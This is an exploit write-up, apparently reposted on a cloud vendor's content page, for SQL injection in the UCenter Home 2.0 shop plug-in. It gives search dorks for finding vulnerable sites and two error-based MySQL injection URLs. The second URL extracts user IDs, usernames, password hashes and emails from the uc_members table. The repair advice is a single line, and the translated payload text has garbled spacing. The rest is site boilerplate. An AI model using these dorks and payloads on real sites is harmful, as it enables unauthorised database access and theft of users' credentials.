UCenter Home 2.0 shop plug-in SQL injection vulnerability and repair solution

Source: Internet
Author: User

Dork: Powered by UCenter inurl: shop. php? Ac = view

Dork 2: inurl: shop. php? Ac = view & shopid =

Vulnerability file: Shop. php

Values :(?) Ac = view & shopid =

Vulnerable Style: SQL Injection (MySQL Error Based)

Need Metarials: Hex Conversion

Your Need victim Database name.

For Inject: http: // server/shop. php? Ac = view & shopid = 253 and (select 1 from (select count (*), concat (select concat (0x7e, 0x27, unhex (hex (database (), 0x27, 0x7e) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) a) and 1 = 1

..

DB: Okey.

Your edit db' [target db name]'

Example: hiwir1_ucenter

Edit: Okey.

Your use Hex conversion. And edit Your SQL Injection Exploit ..


Exploit Code: http: // server/shop. php? Ac = view & shopid = 253 253 and (select 1 from (select count (*), concat (select concat (0x7e, 0x27, cast (concat (uc_members.uid, 0x3a, uc_members.username, 0x3a, uc_members.password, 0x3a, uc_members.email) as char), 0x27, 0x7e) FROM 'hiwir1 _ ucenter '. uc_members LIMIT 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) a) and 1 = 1

 

Solution:

Parameter Filtering

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.